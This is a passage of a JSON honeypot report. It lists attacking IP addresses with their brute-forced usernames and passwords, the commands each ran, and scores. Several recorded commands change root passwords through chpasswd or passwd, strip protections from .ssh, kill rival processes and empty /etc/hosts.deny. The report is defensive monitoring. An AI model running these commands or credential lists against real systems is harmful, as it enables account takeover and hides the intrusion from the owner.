        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "whoami",
        "echo \"root:5f5rUQJuvkLB\"|chpasswd|bash",
        "echo \"root:LiME33kZl8Aj\"|chpasswd|bash",
        "echo \"root:oLUEUhXJTVn4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:41:40.713000+00:00",
        "last_seen_30d": "2026-05-18T19:12:08.696000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 300,
        "Suricata": 61
      }
    },
    "102.216.240.61": {
      "attack_count": 288,
      "first_seen": "2026-05-05T22:16:46.218Z",
      "last_seen": "2026-05-05T23:17:49.255Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "git",
        "admin",
        "admin01",
        "admini",
        "adminuser",
        "bitrix",
        "deploy",
        "dev",
        "download",
        "es",
        "gmodserver",
        "guest",
        "minecraft",
        "mongouser",
        "newftpuser",
        "test",
        "testor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "123456",
        "123456qwerty",
        "1qaz2wsx3edc",
        "2024",
        "Qwerty123",
        "Ubuntu2023",
        "admin",
        "admin01",
        "admin2012",
        "admin520",
        "admin888!@#",
        "admini",
        "adminuser@123",
        "database",
        "dev2022",
        "elastic123",
        "git123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ubuntu2023\\n53sKhZr4rUgI\\n53sKhZr4rUgI\\n\"|passwd",
        "echo \"git123456\\nqBM9YtCMdgMX\\nqBM9YtCMdgMX\\n\"|passwd",
        "echo -e \"Ubuntu2023\\n53sKhZr4rUgI\\n53sKhZr4rUgI\"|passwd|bash",
        "echo -e \"git123456\\nqBM9YtCMdgMX\\nqBM9YtCMdgMX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Congo (DRC)",
      "country_code": "CD",
      "city": "Kinshasa",
      "asn": 328442,
      "as_org": "UNITED-SA",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:16:46.218000+00:00",
        "last_seen_30d": "2026-05-05T23:18:51.748000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 79
      }
    },
    "27.65.253.41": {
      "attack_count": 255,
      "first_seen": "2026-05-15T22:54:11.231Z",
      "last_seen": "2026-05-15T23:54:21.451Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "16309",
        "3245gs5662d34",
        "A123456b",
        "asdfqwer1234",
        "manas",
        "norine",
        "openvpnas",
        "samsung",
        "sandra",
        "toiyeuvietnam",
        "warnight",
        "warnightkardesim",
        "wish",
        "zXXUKpvydMqzp1quBItn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:hpDNeiNlXpxW\"|chpasswd|bash",
        "echo \"root:hqTk4pSRKgfh\"|chpasswd|bash",
        "echo \"zXXUKpvydMqzp1quBItn\\nAixy1gv9WDPQ\\nAixy1gv9WDPQ\\n\"|passwd",
        "echo -e \"zXXUKpvydMqzp1quBItn\\nAixy1gv9WDPQ\\nAixy1gv9WDPQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:54:11.231000+00:00",
        "last_seen_30d": "2026-05-15T23:55:28.191000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 255,
        "Suricata": 39
      }
    },
    "95.231.249.182": {
      "attack_count": 242,
      "first_seen": "2026-05-20T13:08:14.371Z",
      "last_seen": "2026-05-20T13:42:11.843Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "asterisk",
        "backupuser",
        "github",
        "giulia",
        "int",
        "karthavya",
        "mata",
        "test001",
        "user1",
        "wt"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0okm)OKM",
        "123!@#asdASD",
        "1234",
        "123456qW",
        "Aa666666",
        "Abc.1234",
        "Claude2026!",
        "Huawei_123",
        "Temp123",
        "asterisk",
        "backupuser",
        "giulia",
        "int",
        "karthavya",
        "lihao023..",
        "mata",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude2026!\\nEloZ1dUi0cxd\\nEloZ1dUi0cxd\\n\"|passwd",
        "echo \"root:7ScPUC97poPn\"|chpasswd|bash",
        "echo -e \"Claude2026!\\nEloZ1dUi0cxd\\nEloZ1dUi0cxd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:08:14.371000+00:00",
        "last_seen_30d": "2026-05-20T13:43:18.760000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 56
      }
    },
    "184.168.147.110": {
      "attack_count": 238,
      "first_seen": "2026-05-20T16:18:40.242Z",
      "last_seen": "2026-05-20T16:46:27.491Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ting",
        "yuyu",
        "ajay",
        "buyongke",
        "centos",
        "hao",
        "info",
        "kafka",
        "kong",
        "plesk",
        "sangfor",
        "shimizu",
        "shu",
        "viktor"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "010101",
        "19950520",
        "admin2025",
        "ajay",
        "batman",
        "buyongke",
        "centos123",
        "hao",
        "info",
        "kafka",
        "kong123",
        "password",
        "root!",
        "shu",
        "xc3511"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ndSzmwEEsvkOy\\ndSzmwEEsvkOy\\n\"|passwd",
        "echo \"123456\\nzYitQxQaNY7L\\nzYitQxQaNY7L\\n\"|passwd",
        "echo -e \"123456\\ndSzmwEEsvkOy\\ndSzmwEEsvkOy\"|passwd|bash",
        "echo -e \"123456\\nzYitQxQaNY7L\\nzYitQxQaNY7L\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:18:40.242000+00:00",
        "last_seen_30d": "2026-05-20T16:47:36.285000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 54
      }
    },
    "187.110.238.50": {
      "attack_count": 219,
      "first_seen": "2026-05-02T10:06:45.396Z",
      "last_seen": "2026-05-02T10:56:03.259Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "test",
        "admin",
        "root",
        "345gs5662d34",
        "client",
        "deploy",
        "ftp_user",
        "newuser",
        "oracle",
        "sftp",
        "test3",
        "user",
        "username",
        "vpntest",
        "vps"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "!QAZ2wsx#EDC4rfv",
        "123",
        "123.com",
        "123123",
        "12345",
        "123456qwerty",
        "123@123a",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin",
        "Changeme_123",
        "Passw0rd1",
        "Welcome@1234",
        "admin!@",
        "admin2022!",
        "admin@2019",
        "bbb",
        "deploy1234",
        "oracle2017"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test1111\\nlKpgDO8i7K3R\\nlKpgDO8i7K3R\\n\"|passwd",
        "echo -e \"test1111\\nlKpgDO8i7K3R\\nlKpgDO8i7K3R\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 28598,
      "as_org": "DB3 SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:06:45.396000+00:00",
        "last_seen_30d": "2026-05-02T10:57:04.291000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "115.96.243.210": {
      "attack_count": 218,
      "first_seen": "2026-05-20T18:35:23.732Z",
      "last_seen": "2026-05-21T06:13:11.318Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Gangtok",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:35:23.732000+00:00",
        "last_seen_30d": "2026-05-21T06:14:13.652000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 109
      }
    },
    "123.168.141.55": {
      "attack_count": 200,
      "first_seen": "2026-05-19T06:47:20.477Z",
      "last_seen": "2026-05-19T17:47:56.270Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:47:20.477000+00:00",
        "last_seen_30d": "2026-05-19T17:48:57.658000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 119
      }
    },
    "165.227.188.34": {
      "attack_count": 193,
      "first_seen": "2026-05-24T03:59:58.102Z",
      "last_seen": "2026-05-24T05:32:28.456Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sysadmin",
        "ubuntu",
        "345gs5662d34",
        "aroot",
        "canvas",
        "dev",
        "mmm",
        "splunk",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "111",
        "345gs5662d34",
        "@admin1234",
        "Fw123456@",
        "admin@123.com",
        "aroot",
        "canvas",
        "dev@123",
        "mmm",
        "pass",
        "password@123",
        "qwe123@",
        "splunk"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"pass\\n2Ra4wPddeQul\\n2Ra4wPddeQul\\n\"|passwd",
        "echo \"password@123\\n9X88sY1oSbLj\\n9X88sY1oSbLj\\n\"|passwd",
        "echo -e \"pass\\n2Ra4wPddeQul\\n2Ra4wPddeQul\"|passwd|bash",
        "echo -e \"password@123\\n9X88sY1oSbLj\\n9X88sY1oSbLj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:59:58.102000+00:00",
        "last_seen_30d": "2026-05-24T05:33:31.750000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 43
      }
    },
    "165.154.254.11": {
      "attack_count": 187,
      "first_seen": "2026-05-22T17:16:42.615Z",
      "last_seen": "2026-05-22T17:46:48.207Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "bot",
        "demo",
        "socks",
        "student4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "2233",
        "Aa123456789",
        "Qwe112233",
        "User@123",
        "demo",
        "pAssw0rd",
        "qwer1234!@",
        "root",
        "student4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa123456789\\nBYxnmmhOOlom\\nBYxnmmhOOlom\\n\"|passwd",
        "echo \"root:tRbd8DA2JS8u\"|chpasswd|bash",
        "echo -e \"Aa123456789\\nBYxnmmhOOlom\\nBYxnmmhOOlom\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:16:42.615000+00:00",
        "last_seen_30d": "2026-05-22T17:47:50.176000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 33
      }
    },
    "69.6.234.27": {
      "attack_count": 144,
      "first_seen": "2026-05-22T05:06:01.592Z",
      "last_seen": "2026-05-22T06:00:49.154Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bash",
        "345gs5662d34",
        "foundry",
        "freelancer",
        "kai",
        "rizky",
        "sonu",
        "sshuser",
        "wafer",
        "wei",
        "xuhao"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "585858",
        "Aa@12345678",
        "Xx123456789",
        "bash",
        "freelancer",
        "jyb-2025",
        "kai",
        "password",
        "qwe147258",
        "rizky",
        "sonu123",
        "wafer",
        "wei123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"bash\\nHwaX0DGfzBe3\\nHwaX0DGfzBe3\\n\"|passwd",
        "echo -e \"bash\\nHwaX0DGfzBe3\\nHwaX0DGfzBe3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cota",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T05:06:01.592000+00:00",
        "last_seen_30d": "2026-05-22T06:01:56.930000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "176.211.42.202": {
      "attack_count": 143,
      "first_seen": "2026-05-30T19:35:30.371Z",
      "last_seen": "2026-05-30T20:01:27.086Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "jacob",
        "juan",
        "precio01",
        "pzserver",
        "ubuntu",
        "user1"
      ],
      "passwords_attempted": [
        "password",
        "0000",
        "1234321",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2022",
        "P@ssw0rd12",
        "QWE123rty",
        "QwEr!2#4",
        "Qwer1234!",
        "admin1",
        "changeme",
        "pzserver",
        "qweasdzxc123",
        "root12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hZ3sC4BLPsfw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:35:30.371000+00:00",
        "last_seen_30d": "2026-05-30T20:02:27.974000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "176.65.139.203": {
      "attack_count": 136,
      "first_seen": "2026-05-27T19:24:52.980Z",
      "last_seen": "2026-05-31T03:31:24.135Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "dev",
        "git",
        "oracle",
        "postgres",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root",
        "",
        "1234567890",
        "1qaz@wsx",
        "dev",
        "git",
        "oracle",
        "postgres",
        "redhat",
        "toor",
        "ubnt",
        "ubuntu",
        "user",
        "vizxv",
        "xc3511",
        "zabbix"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'",
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
